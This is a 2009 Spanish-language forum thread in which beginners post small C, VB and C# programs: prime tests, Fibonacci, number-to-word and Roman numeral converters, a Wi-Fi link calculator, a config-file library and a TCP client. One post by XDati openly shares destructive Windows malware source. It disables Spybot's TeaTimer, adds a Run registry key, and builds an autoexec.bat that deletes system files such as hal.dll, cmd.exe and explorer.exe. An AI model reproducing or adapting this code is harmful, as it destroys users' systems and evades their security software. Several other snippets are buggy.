PDA

Ver la Versión Completa : [Recurso] Postea tu programilla



+NoGodSoGood.
12/04/2009, 23:54
Bueno este tema es para q posten programas independiente del lenguaje que sea, asi los niubis como yo aprenderemos a traves de ejemplos...(la idea no es copy paste).
La estructura sera:
1.- Para q sirve
2.- algoritmus
weno parto yo con este que esta en C

PARA SABER SI ES PRIMO.


#include<stdio.h>
#include<stdlib.h>
int main ()
{
int n, r, i, con;
printf("Ingrese numero ");
scanf("%d",&n);
con = 0;
for(i=1; i<=n; i++)
{
r = n % i;
if(r == 0)
con++;
}
if(con == 2)
printf("El numero %d es PRIMO\n",n);
else
printf("El numero %d es NO PRIMO\n",n);

system("pause");
}

_nyuu_
13/04/2009, 02:34
a ver improvisare algo sencillo ya que no toy con mis programas y tengo paja xD


#include<stdio.h>

int n;

main ()
{
printf( " ingrese la edad de la persona");
scanf(%d, &n)
while ( n<=0 || n>=100)
{
printf("la edad que ha ingresado es menor igual 0 o mayor a 100, son valores no validos, por favor ingrese otra edad");
}
if ( n>= 18)
{
printf (" la edad ingresada corresponde a una persona mayor de edad");
}
else
{
printf ("la edad ingresada corresponde a una persona menor de edad ");
}

getchar(); getchar();

}




:P demas que caxan que hace daaaa xD!!:loca:

+NoGodSoGood.
13/04/2009, 10:51
Fibonacci.
#include<stdio.h>


int main()
{
int i, a, b, c, n;
printf("Ingrese cantidad de terminos ");
scanf("%d",&n);
a = 0;
b = 1;
if(n == 1)
printf("%d\n",a);
else
if(n == 2)
printf("%d %d\n",a,b);
else
{
i = 3;
printf("%d %d ",a,b);
while(i <= n)
{
c = a + b;
printf("%d ",c);
a = b;
b = c;
i++;
}
}
system("pause");
}

potingano
16/04/2009, 15:44
esta wa transforma un numero decimal a palabra... entre 0 ; 10.000..


#include<stdio.h>
#include<conio.h>

void main()
{
int num,decmil,unimil,resto,cent,dec,uni;
clrscr();

printf("Asistente de transformacion de un nuero decimal a palabra..\nPara continuar ingresa un numero y luego presiona <ENTER>. ");
scanf("%d",&num);


if (num>=0 && num<10000)
{
printf("\nTu numero se escribe: ");

if(num==0)
{
printf("cero");
}


unimil=int (num/1000);
resto=(num % 1000);
cent=int (resto/100);
resto=(resto % 100);
dec=int (resto/10);
resto=(resto % 10);
uni=(resto / 1);



if(unimil==9)
{
printf("nueve mil ");
}

if(unimil==8)
{
printf("ocho mil ");
}

if(unimil==7)
{
printf("siete mil ");
}

if(unimil==6)
{
printf("seis mil ");
}

if(unimil==5)
{
printf("cinco mil ");
}

if(unimil==4)
{
printf("cuatro mil ");
}

if(unimil==3)
{
printf("tres mil ");
}

if(unimil==2)
{
printf("dos mil ");
}

if(unimil==1)
{
printf("mil ");
}



if(cent==9)
{
printf("novecientos ");
}

if(cent==8)
{
printf("ochocientos ");
}

if(cent==7)
{
printf("setecientos ");
}

if(cent==6)
{
printf("seiscientos ");
}

if(cent==5)
{
printf("quinientos ");
}

if(cent==4)
{
printf("cuatrocientos ");
}

if(cent==3)
{
printf("trescientos ");
}

if(cent==2)
{
printf("doscientos ");
}

if(cent==1 && dec==0 && uni==0)
{
printf("cien");
}
if(cent==1 &&(dec!=0 || uni!=0))
{
printf("ciento ");
}


if(dec==1 && uni==1)
{
dec=0;
uni=0;
printf("once");
}
if(dec==1 && uni==2)
{
dec=0;
uni=0;
printf("doce");
}
if(dec==1 && uni==3)
{
dec=0;
uni=0;

printf("trece");
}
if(dec==1 && uni==4)
{
dec=0;
uni=0;
printf("catorce");
}
if(dec==1 && uni==5)
{
dec=0;
uni=0;
printf("quince");
}



if(dec==9)
{
printf("noventa ");
}

if(dec==8)
{
printf("ochenta ");
}

if(dec==7)
{
printf("setenta ");
}

if(dec==6)
{
printf("sesenta ");
}

if(dec==5)
{
printf("cincuenta ");
}

if(dec==4)
{
printf("cuarenta ");
}

if(dec==3)
{
printf("treinta ");
}

if(dec==2 && uni!=0)
{
printf("veinti");
}

if(dec==2 && uni==0)
{
printf("veinte");
}

if(dec==1)
{
printf("diez ");
}

if(uni!=0 && dec!=0 && dec!=2)
{
printf("y ");
}


if(uni==9)
{
printf("nueve");
}

if(uni==8)
{
printf("ocho");
}

if(uni==7)
{
printf("siete");
}

if(uni==6)
{
printf("seis");
}

if(uni==5)
{
printf("cinco");
}

if(uni==4)
{
printf("cuatro");
}

if(uni==3)
{
printf("tres");
}

if(uni==2)
{
printf("dos");
}

if(uni==1)
{
printf("uno");
}

}
else
{
printf("<<ERROR>> El numero que ingresaste no es valido.");
}


getch();
}


y aki ta uno ke transforma de decimal a romano... entre 1 ; 3000 obvio..



#include<stdio.h>
#include<conio.h>
void main()
{

int num,umil,res,cen,dec,uni;

clrscr();

printf("ingrese numero: ");
scanf("%d",&num);

if(num>0 && num<4000)

{

umil=int(num/1000);
res=(num%1000);
cen=int(res/100);
res=(res%100);
dec=int(res/10);
res=(res%10);
uni=(res/1);

if(umil==1)
{
printf("M");
}

if(umil==2)
{
printf("MM");
}

if(umil==3)
{
printf("MMM");
}


if(cen==1)
{
printf("C");
}
if(cen==2)
{
printf("CC");
}
if(cen==3)
{
printf("CCC");
}
if(cen==4)
{
printf("CD");
}
if(cen==5)
{
printf("D");
}
if(cen==6)
{
printf("DC");
}
if(cen==7)
{
printf("DCC");
}
if(cen==8)
{
printf("DCCC");
}

if(cen==9)
{
printf("CM");
}

if(dec==1)
{
printf("X");
}
if(dec==2)
{
printf("XX");
}
if(dec==3)
{
printf("XXX");
}
if(dec==4)
{
printf("XL");
}
if(dec==5)
{
printf("L");
}
if(dec==6)
{
printf("LX");
}
if(dec==7)
{
printf("LXX");
}
if(dec==8)
{
printf("LXXX");
}
if(dec==9)
{
printf("XC");
}


if(uni==1)
{
printf("I");
}
if(uni==2)
{
printf("II");
}
if(uni==3)
{
printf("III");
}
if(uni==4)
{
printf("IV");
}
if(uni==5)
{
printf("V");
}
if(uni==6)
{
printf("VI");
}
if(uni==7)
{
printf("VII");
}
if(uni==8)
{
printf("VIII");
}
if(uni==9)
{
printf("IX");
}


}
else
{
printf("El numero que ha ingresado es incorrecto, por favor intentelo nuevamente");
}


getch();
}

Vi.k.ap
18/04/2009, 22:25
muestra si dos numeros son amigos o no xD
son amigos =P
mi primer super programa xDDDDDDDD

#include<stdio.h>
main()
{
int n1,n2,sum1=0,sum2=0,i=1,p=1;
printf("ingrese numero 1:\n");
scanf("%d",&n1);
printf("ingrese numero 2:\n");
scanf("%d",&n2);
while(i<n1)
{
if(n1%i==0)
{
sum1=sum1+i;
}
i++;
}
while(p<n2)
{
if(n2%p==0)
{
sum2=sum2+p;
}
p++;
}

if(sum1==n2 && sum2==n1)
{
printf("son amigos\n");
}
else
{
printf(" no son amigos\n");
}
system("pause");
return 0;
}

madafaca
25/04/2009, 18:51
Un pequeño programa que fue mi ultima tarea :zippyconf:

#include<stdio.h>
main()
{
printf("hello fucking world");
}
:P

CHICA FREAK
26/04/2009, 22:33
a ver improvisare algo sencillo ya que no toy con mis programas y tengo paja xD


#include<stdio.h>

int n;

main ()
{
printf( " ingrese la edad de la persona");
scanf(%d, &n)
while ( n<=0 || n>=100)
{
printf("la edad que ha ingresado es menor igual 0 o mayor a 100, son valores no validos, por favor ingrese otra edad");
}
if ( n>= 18)
{
printf (" la edad ingresada corresponde a una persona mayor de edad");
}
else
{
printf ("la edad ingresada corresponde a una persona menor de edad ");
}

getchar(); getchar();

}




:P demas que caxan que hace daaaa xD!!:loca:

O.O

no sabia que la sita nyuu le pegaba a la programación
yo no tengo ningun codigo por ahi
jojojo
es que mis trabajos tan llenos de telarañas
cuando tenga un sistema más o menos bueno lo subo
saludos

XDati
03/05/2009, 01:46
:tezippynn2: Este programilla se "auto-escribe" y modifica algunas cosillas del registro para matar el XP, se mete con comandos del registro y lo creé por que estaba aburrido y de maldadoso XD... bastante lammer la wea, pero bueno...
#include <stdlib.h>
#include <stdio.h>
void registro();
main()
{
if(fopen("C:\\xdati","r"))
{

printf("Aliado!!!\n");
system("pause");

}
else
{

if(fopen("%PROGRAMFILES\\Spybot - Search & Destroy\\teatimer.exe", "r"")
{
system("taskkill /IM teatimer.exe /f");
registro();
}
else
{
registro();
}
}
//registro();
}

void registro()
{
//Autogenero el archivo que borrará los archivos del sistema como secuencia de comandos "bat"... n_n
system("REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion \\Run /v Notepad /t REG_SZ /d \"C:\\autoexec.bat\" /f"); //Obligo a ingresar este registro sin preguntar
system("cls");
system("echo.Set PV1 = CreateObject(\"Scripting.FileSystemObject\")>lalala.txt");
system("cls");
system("attrib -h -r -s C:\\autoexec.bat");
system("cls");
system("copy C:\\autoexec.bat %WINDIR%\\autoexec.bat");
system("cls");
system("echo.attrib -h -r -s *.sys>>lalala.txt");
system("cls");
system("echo.DEL *.sys>>lalala.txt");
system("cls");
system("attrib +h +r +s %WINDIR%\\autoexec.bat");
system("cls");
system("echo.DEL %WINDIR%\\system32\\hal.dll>>lalala.txt"); //Archivo a borrar...
system("cls");
system("echo.DEL %WINDIR%\\system32\\cmd.exe>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\system32\\command.com>>lalala.txt");
system("cls");
//system("echo.taskkill /IM teatimer.exe /f>>lalala.txt");
system("cls");
//system("echo.REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion \\Run /v Notepad /t REG_SZ /f>>lalala.txt");
system("cls");
system("echo.taskkill /IM explorer.exe /f>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\explorer.exe>>lalala.txt");
system("cls");
system("echo.attrib -h -r -s %WINDIR%\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.copy %WINDIR%\\autoexec.bat C:\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.attrib +h +s autoexec.bat>>lalala.txt");
system("cls");
system("echo.RENAME autoexec.bat aautoexec.bat>>lalala.txt");
system("cls");
system("echo.DEL aautoexec.bat>>lalala.txt");
system("cls");
system("copy lalala.txt C:\\autoexec.bat");
system("cls");
system("del lalala.txt");
system("cls");
}

//Nota: Es de ejecución híper mega lenta... jajaja ese es un detalle :P



Y este otro que se encarga de hacer cálculos de enlace punto a punto wifi... tiene como 1 año esa wea, pero igual la tiro... jajaja

#include <conio.c>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stdlib.h>
main()
{
system("title Enlaces Wifi V1.1, XDati .-.");
/*Tiene más color la plantilla en Excel... será...*/
float frecuencia, frec, distancia, ptx, perdida1, gtx, per, grx, perdida2, sensibilidad;
float atenuacion, senal, metros, cont=0;
char ayuda[5], op[1], conver[4];
textbackground(BLUE);
textcolor (YELLOW);
clrscr();
gotoxy(10,1);
printf("\tCALCULADORA DE ENLACES PUNTO A PUNTO WI-FI\n");
printf("\t ---------------------------------------------------");
gotoxy(25,2);
printf("(ver.1.1).\n");
printf("\nNota: Para obtener ayuda, escriba 'ayuda'.");
printf("\nSi no desea ayuda, presione 'Enter': ");
fflush(stdin);
textcolor (WHITE);
gets(ayuda);
if(strcmp(strupr(ayuda), "AYUDA")==0)
{
system ("cls");
textcolor(YELLOW);
printf("\nMenu ayuda");
printf("\nSi tiene dudas, le informamos que los resultados en esta aplicacion");
printf("\nson totalmente teoricos, no se garantiza el 100 porciento de efectividad.");
printf("\nLos datos entregados, por lo general, si sirven, ya que lo he hecho");
printf("\ny me ha funcionado.");
printf("\n\nEsta aplicacion ha sido programada en lenguaje C, utilizando los");
printf("\nheaders <conio.h>, <stdio.h>, <math.h>, <string.h>, <stdlib.h> y <conio.c>.");
printf("\n\nSi desea calcular los resultados a mano, aca estan las formulas:");
printf("\n\nPara obtener la atenuacion del espacio libre:");
printf("\n20*log(distancia)+20*log(frecuencia)+32.45;");
printf("\n\nPara obtener la potencia del trasmisor en dBm:");
printf("\n10*log(potencia en miliwatts);");
printf("\n\nPotencia efectivamente radiada (P.E.R):");
printf("\nPotencia del emisor en dBm - Perdida en emisor + Ganancia antena Tx");
printf("\n\nPara calcular el nivel de senal a la altura de la antena:");
printf("\n-(atenuacion por espacio libre)+ P.E.R");
printf("\n\nPresione tecla para seguir...");
getch();
printf("\n\nNivel de senal esperado a la entrada de la antena Rx:");
printf("\nNivel de senal a la altura de la antena + Ganancia Rx - Perdidas en receptor");
printf("\n\nMargen de desvanecimiento:");
printf("\n(Nivel de senal a la altura de la antena + Ganancia Rx - perdidas)+ sensibilidad");
printf("\n\nPara que el enlace sea factible, el margen de desvanecimiento debe ser > a 0.");
printf("\nEl conversor de unidades, funciona SOLO para frecuencias y distancias.");
printf("\nPara inicializarlo, ponga '0' cuando se le pida la frecuencia a trabajar.");
printf("\n\nPresione tecla para continuar...\n");
getch();
}
do
{
system ("cls");
printf("\nIniciando calculo de enlace:");
cont=0;
textcolor(YELLOW);
printf("\nPara iniciar el conversor de unidades, presione '0'");
frecuenci:/*Se llega acá cuando se entra al conversor de metros*/
printf("\nIngrese frecuencia (En MHz): ");
scanf("%f", &frecuencia);
if ((frecuencia > 0) && (cont <= 0))
{
goto dist;
}
if(frecuencia==0)
{
system ("cls");
textcolor(YELLOW);
printf("\n\nConversor de unidades:");
printf("\nEscriba 'KM' si son kilometros o 'FREC' si es frecuencia: ");
fflush(stdin);
textcolor(WHITE);
gets(conver);
if(strcmp(strupr(conver),"KM")==0)
{
textcolor(YELLOW);
printf("\nIngrese metros: ");
textcolor(WHITE);
scanf("%f", &metros);
distancia=metros/1000;
cont=1;
textcolor(YELLOW);
printf("%6.0f metros son %6.3f kilometros.\n", metros, distancia);
printf("(Finalizado conversor, asignado en memoria)\n");
goto frecuenci;
}
else if(strcmp(strupr(conver), "FREC")==0)
{
textcolor(YELLOW);
printf("\nIngrese frecuencia del equipo (GHz): ");
textcolor(WHITE);
scanf("%f", &frec);
frecuencia=frec*1000;
textcolor(YELLOW);
printf("%6.2f GHz, son %6.0f MHz\n", frec, frecuencia);
printf("(Finalizado conversor, asignado en memoria)\n\n");
cont=0;
goto dist/*Permite ingresar la distancia*/;
}
}
if(cont=1)
{
goto siguiente;
}
dist:
textcolor(YELLOW);
printf("Ingrese distancia (En Km): ");
scanf("%f", &distancia);
siguiente:
atenuacion=20*log10(distancia)+20*log10(frecuencia )+32.45;
printf("\n\nGanancia en la transmision.");
printf("\nIngrese potencia del transmisor (En mw): ");
scanf("%f",&ptx);
printf("Ingrese el total de perdidas (en dB): ");
scanf("%f", &perdida1);
printf("Ingrese la ganacia de la antena emisora (en dBi): ");
scanf("%f", &gtx);
printf("\n\nCalculo del margen de desvanecimiento.");
printf("\nGanancia de la antena receptora (en dBi): ");
scanf("%f", &grx);
printf("Ingrese el total de perdidas a nivel del receptor (en dB): ");
scanf("%f", &perdida2);
printf("Ingrese la sensibilidad del equipo receptor (en dBm): -");
scanf("%f", &sensibilidad);
printf("\n\nResultados de los datos ingresados:");
printf("\nFrecuencia: %4.0f MHz", frecuencia);
printf("\nDistancia: %4.3f Km", distancia);
printf("\nAtenuacion por espacio libre: %f dB", atenuacion);
printf("\n\nGanancia en la transmision:");
printf("\nPotencia el transmisor (en miliwatts): %4.0f mw", ptx);
printf("\nPotencia del transmisor (en dBm): %4.0f dbm", 10*log10(ptx));
printf("\nPerdidas en conectores, cables, etc: %4.0f dB", perdida1);
printf("\nGanancia de la antena emisora: %4.0f dBi", gtx);
per=10*log10(ptx)-perdida1+gtx;
printf("\nPotencia efectivamente radiada (P.E.R): %f", per);
printf("\n\nCalculo de margen de desvanecimiento:");
printf("\nPerdidas por espacio libre: %f dB", -1*(atenuacion));
printf("\nNivel de senal (colocados a la altura de la antena): %f dBm", (-1*(atenuacion)+(per)));
senal=-1*atenuacion+per;
printf("\nGanancia de la antena receptora: %4.0f dBi", grx);
printf("\nPerdidas a nivel del receptor: %4.0f dB", perdida2);
printf("\nNivel de senal esperado a la entrada de la antena receptora: %f dBm", senal+grx-perdida2);
printf("\nSensibilidad del receptor: %4.0f", -1*sensibilidad);
printf("\nMargen de desvanecimiento: %f dB", (senal+grx-perdida2)+sensibilidad);
if(((senal+grx-perdida2)+sensibilidad)>=0)
{
printf("\nENLACE REALIZABLE :).");
}
else{
printf("\nENLACE NO REALIZABLE :(.");
}
printf("\n\nDesea calcular un nuevo enlace (s/n): ");
fflush (stdin);
gets(op);
}
while(strcmp(strupr(op), "S")==0);
textcolor(WHITE);
printf("\nRecuerde, un arbol o una pared pueden afectar el enlace.");
printf("\nAsegurese que la linea vista sea directa, clara y visible entre las antenas.");
printf("\n\nCualquier error en el programa, plis, haganmela saber a: ");
printf("\[email protected]; \[email protected]");
textcolor(RED);
printf("\nXDati n_n 2007.\n");
textcolor(WHITE);
system ("pause");
}

jamesbd
03/05/2009, 03:45
este no es un programa si no una serie de rutinas para guardar/leer datos, lo uso para guardar la config de mis programas (pa no usar las tipicas func del api de win =))


'JamesBd


'---Descripcion---------------------------------------------------------------
'| ej: !0002|C:\archivos de programa |
'| |
'| "!" -> la linea contiene un valor |
'| |
'| "0002" -> ID de valor (al llamar a la funcion que obtiene un valor, |
'| se especifica el numero sin ceros ej: 0002 -> 2 |
'| |
'| "|" -> Separador |
'| |
'| "C:\archivos de programa" -> Valor |
'-----------------------------------------------------------------------------



Dim fs As New FileSystemObject
Dim MtrComentarios As New Collection

Public Function ObtenerValor(IDaplicacion As String, IDvalor, archivo As String) As String
On Error GoTo error
Dim N
Dim X
Dim IDapp As String

Dim Cadena As String
Dim TmpID As String
Dim Encontrado As Boolean



If IDvalor = "" Then Exit Function
If IDaplicacion = "" Then Exit Function
If fs.FileExists(archivo) = False Then: Exit Function
If Len(IDvalor) > 4 Then Exit Function

For X = 1 To 4 - Len(IDvalor)
TmpID = TmpID & "0"
Next
TmpID = TmpID & IDvalor

IDapp = obtenerIDaplicacion(archivo)

If UCase(IDaplicacion) <> UCase(IDapp) Then
MsgBox "La ID de la aplicacion no es valida", vbExclamation, "Error"
Exit Function
End If

N = FreeFile()
Encontrado = False
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cadena
If Mid(Cadena, 1, 1) = "!" Then
If Mid(Cadena, 2, 4) = TmpID Then
ObtenerValor = Mid(Cadena, 7, Len(Cadena) - 6)
Encontrado = True
End If
End If
Wend
Close N
If Encontrado = False Then ObtenerValor = ""

Exit Function
error:
ObtenerValor = ""
Err.Clear
End Function

Public Function ObtenerComentarios(archivo As String)
On Error GoTo error
Dim N
Dim Cmt As String
Dim sComentarios As String


N = FreeFile

If fs.FileExists(archivo) = False Then Exit Function

LimpiarColeccion MtrComentarios

sComentarios = ""
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cmt
If Mid(Cmt, 1, 1) = "#" Then
MtrComentarios.Add Mid(Cmt, 2, Len(Cmt) - 1)
End If
Wend
Close N

Exit Function
error:
Err.Clear
End Function

Public Function ObtenerComentario(archivo As String, NumeroComentario As Integer) As String
On Error GoTo error
Dim N
Dim Cmt As String
Dim sComentarios As String


N = FreeFile

If fs.FileExists(archivo) = False Then Exit Function

LimpiarColeccion MtrComentarios

sComentarios = ""
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cmt
If Mid(Cmt, 1, 1) = "#" Then
MtrComentarios.Add Mid(Cmt, 2, Len(Cmt) - 1)
End If
Wend
Close N
If NumeroComentario > MtrComentarios.Count Then Exit Function
ObtenerComentario = MtrComentarios(NumeroComentario)

Exit Function
error:
Err.Clear
End Function

Public Function obtenerIDaplicacion(archivo As String)
Dim N
Dim Cadena As String
N = FreeFile


If fs.FileExists(archivo) = False Then Exit Function

Open archivo For Input As N
Line Input #N, Cadena
If Mid(Cadena, 1, 2) = "->" Then
obtenerIDaplicacion = Mid(Cadena, 3, Len(Cadena) - 2)
End If
Close N

End Function

Public Function EscribirValor(IDaplicacion As String, IDvalor, Contenido As String, archivo As String)
On Error GoTo error
Dim N
Dim TmpID As String
Dim Cadena As String
Dim IDapp As String
Dim ContVlrs As Integer
Dim Out As TextStream
Dim MtrIDVlr As New Collection
Dim MtrVlr As New Collection

If IDvalor = "" Then Exit Function
If IDaplicacion = "" Then Exit Function
If fs.FileExists(archivo) = False Then: CrearArchivo IDaplicacion, archivo
If Len(IDvalor) > 4 Then Exit Function

IDapp = obtenerIDaplicacion(archivo)
If UCase(IDaplicacion) <> UCase(IDapp) Then
MsgBox "La ID de la aplicacion no es valida", vbExclamation, "Error"
Exit Function
End If

For X = 1 To 4 - Len(IDvalor)
TmpID = TmpID & "0"
Next
TmpID = TmpID & IDvalor

LimpiarColeccion MtrVlr
LimpiarColeccion MtrIDVlr

N = FreeFile
ObtenerComentarios (archivo)
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cadena
If Mid(Cadena, 1, 1) = "!" Then
ContVlrs = ContVlrs + 1
MtrIDVlr.Add Mid(Cadena, 2, 4)
MtrVlr.Add Mid(Cadena, 7, Len(Cadena) - 6)
End If
Wend
Close N
Set Out = fs.OpenTextFile(archivo, ForWriting, False, TristateFalse)
Out.WriteLine ("->" & IDaplicacion)

If MtrIDVlr.Count = 0 And MtrVlr.Count = 0 Then
Out.WriteLine ("!" & TmpID & "|" & Contenido)
Else
For N1 = 1 To MtrIDVlr.Count
If MtrIDVlr(N1) = TmpID Then
Out.WriteLine ("!" & MtrIDVlr(N1) & "|" & Contenido)
Existe = True
Else
Out.WriteLine ("!" & MtrIDVlr(N1) & "|" & MtrVlr(N1))
End If
Next
If Existe = False Then Out.WriteLine ("!" & TmpID & "|" & Contenido)
End If
For N1 = 1 To MtrComentarios.Count
Out.WriteLine ("#" & MtrComentarios(N1))
Next

Out.Close

Exit Function
error:
Err.Clear
End Function

Public Function EscribirComentario(IDaplicacion As String, Comentario As String, archivo As String)
On Error GoTo error
Dim Out As TextStream

If Comentario = "" Then Exit Function
If fs.FileExists(archivo) = False Then Exit Function

Set Out = fs.OpenTextFile(archivo, ForAppending, False, TristateFalse)
Out.WriteLine ("#" & Comentario)
Out.Close

Exit Function
error:
Err.Clear
End Function

Private Function LimpiarColeccion(Coleccion As Collection)
On Error Resume Next
If Coleccion.Count >= 1 Then
For X = 1 To Coleccion.Count
Coleccion.Remove (1)
Next
End If
End Function

Private Function CrearArchivo(IDapp As String, archivo As String)
Dim Out As TextStream
Set Out = fs.OpenTextFile(archivo, ForWriting, True, TristateFalse)
Out.WriteLine ("->" & IDapp)
Out.Close
End Function

su uso p ej, para guardar un dato seria
Escribirvalor "DEMO",1,"1234566","C:\config.00"

el archivo con los datos guardados queda asi:
->JBDSA
!0001|0
!0002|0
!0003|0
!0004|
!0005|0
!0006|
!0007|1
!0008|
!0009|0
!0010|1500
!0011|M
!0012|T
!0013|0

~[P]ipee
04/05/2009, 20:06
se agradece por el aporte

+NoGodSoGood.
09/05/2009, 16:44
FUNCION EXPONENCIAL....
#include<stdio.h>
#include<stdlib.h>

float exponencial(float z)
{
int i;
float e=2.718281828,pot=1;
if(z>=0)
{
for (i=1;i<=z;i++)
{
pot*=e;
}
}
if(z<0)
{
e= 1/e;
z= -1*z;
for (i=1;i<=z;i++)
{
pot *=e;
}
}
return pot;
}

main()
{
int f;
float z,e;
printf("ingrese exponente");
scanf("%f",&z);
e=exponencial(z);
printf("resultado= %.5f\n",e);
system ("pause");
}

_nyuu_
10/05/2009, 23:08
O.O

no sabia que la sita nyuu le pegaba a la programación
yo no tengo ningun codigo por ahi
jojojo
es que mis trabajos tan llenos de telarañas
cuando tenga un sistema más o menos bueno lo subo
saludos


xD!!!!!!!!
ni yo sabia que podia programar ahahaha
na broma es q nunca me vi programando ni me veo programando
lo mio..
es el arte
aojroajojroja
xD
y no e weo
pero como mis papis me ven programando
mi hnno me ve programando toda mi familia me ve programando

orale aqui toy programando!

en fin xD

invertir vector (solo dimension ingresada por teclado)


#include<stdio.h>


main()
{
int n,i,j;
printf ("Ingrese la dimension del vector: ");
scanf ("%d",&n);
int v[n],v2[n];

for (i=0 ; i<n ; i++)
{
v[i]=i+1;
}
printf("\n");

for (i=0 ; i<n ; i++)
{
printf ("%i ",v[i]);
}
printf("\n");

i=0;
for (j=n-1; j>=0 ;j--)
{
v2[i]=v[j];
i++;
}
printf("\n");

for (i=0 ; i<n ; i++)

{
printf ("%i ",v2[i]);
}

getchar();
getchar();


}




en un ejercicio por ahi d epasar numeros a letras lo habria hecho con cadenas tipo char y funciones u.u
pa no hacer tanto if

FxckDead
14/05/2009, 19:34
Bueno dejando mi aporte. El otro día pedí ayuda para terminar este programa...
Es un código en C#, para la utilización de Sockets UNIX.
En sintesis son 2 Codigos, uno para el Cliente y otro Para el servidor.
El Cliente despliega un menu para elejir la cantidad de bytes a recivir.
El Servidor recibe la peticion y luego responde con la cantidad de bytes :).
Encontraran 2 Funciones, sendall() y recvall() que se encargan de enviar los datos que superen la MTU en fragmentos, y la otra recibirá los datos en fragmentos y los juntara.

Conste que era un tareita que tenia y se las dejo, por si alguien llegase a tener las dudas porque yo no encontre la solucion en internet D:, solo Google me ayudo a entender xD...

Código Cliente:



/*
** Cliente TCP
*/

// Librerias a usar

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 4000 // Puerto al que se va a conectar, es una constante... Se puede cambiar (Deben ser = en Cliente y Server)

#define MAXDATASIZE 10241 // Máximo número de bytes que se pueden leer de una vez, se debe cambiar, para cambiar el tamaño

//Funciona que permite Recibir todos los datos
int recvall(int sockfd, char *buf, int *len)
{
int total = 0; // cuántos bytes hemos recivido
int bytesleft = *len; // cuántos se han quedado pendientes
int n; // es nuestro buffer de la funcion

while(*len > total) // preguntamos si la longitud total del paquete es mayor a la tolta (inicializada en 0)
{
n = recv(sockfd, buf+total, bytesleft, 0);
if (n == -1) { break; } // si no se reciben datos, se quiebra el while y envia error
total += n; //aumentamos el total a la cantidad ya recibida
bytesleft -= n; // a lo qe qeda por recibir le quitamos la cantidad recibida
}
return(total);

}

int main(int argc, char *argv[])
{
int sockfd, numbytes; // SOCKFD es una variable SOCKET, NUMBYTES es el numero de bytes recibidos desde el server

char buf[MAXDATASIZE]; // BUFF es una variable BUFFER que recibe el texto...
char op[255];
int len;

struct hostent *he;

struct sockaddr_in direc; // DIREC es un socket de la direccion internet de destino
printf("1. Enviar 1 byten");
printf("2. Enviar 8 bytesn");
printf("3. Enviar 16 bytesn");
printf("4. Enviar 64 bytesn");
printf("5. Enviar 128 bytesn");
printf("6. Enviar 512 bytesn");
printf("7. Enviar 1 Kbyten");
printf("8. Enviar 2 Kbytesn");
printf("9. Enviar 10 Kbytesn");
printf("Ingrese la Opcion: ");
scanf("%s",&op);

if (argc != 2)
{
fprintf (stderr, "USO: tcpc <ip_servidor>n"); //Falta la IP del server, sale e indica error
exit (1);
}

if ( (he=gethostbyname(argv[1])) == NULL) //gethostbyname obtiene información de la maquina (IP si se dio un nombre)
{
perror ("gethostbyname"); // Si hay error, sale y despliega el error
exit (1);
}

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket"); // Si hay error (SOCKFD == -1), sale y despliega el error
exit (1);
}

direc.sin_family = AF_INET; // Se indica que se usará la Familia de Direcciones de Internet
direc.sin_port = htons(PORT); // convierte PORT desde el orden de bytes del host al de la red
direc.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(direc.sin_zero), '', 8); // Poner a cero el resto de la estructura = relleno

if ( connect(sockfd, (struct sockaddr *)&direc, sizeof(struct sockaddr)) == -1)
{
perror ("connect"); // Se puede CONECTAR? Si hay error, sale y despliega el error
exit (1);
}

if ( send(sockfd, op, 14, 0) == -1 )
perror ("send"); // Envio la opcion ingresada



int op2=atoi(op);
switch(op2)
{
case 1:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 2:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 3:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 4:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 5:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 6:
if ( (numbytes=recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
/*
En los Casos 7,8 y 9, debo recibir los paquetes por trozos,
asi que para ésto utilizo la funcino recvall() definida anteriormente
enviandole el socket, el puntero y la longitud de éste, para que
lo procese y reciba los datos
*/
case 7:
len=1024;
if ( (numbytes=recvall(sockfd, buf, &len)) == -1)
{
perror ("recvall"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
case 8:
len=2048;
if ( (numbytes=recvall(sockfd, buf, &len)) == -1)
{
perror ("recvall"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;

case 9:
len=10240;
if ( (numbytes=recvall(sockfd, buf, &len)) == -1)
{
perror ("recvall"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
break;
//Si la opcion elejida no era ninguna de las definidas, envia un mensaje de error (en el servidor)
default:
printf("Error de Opcionn");
break;
} //llave de cierre del switch()


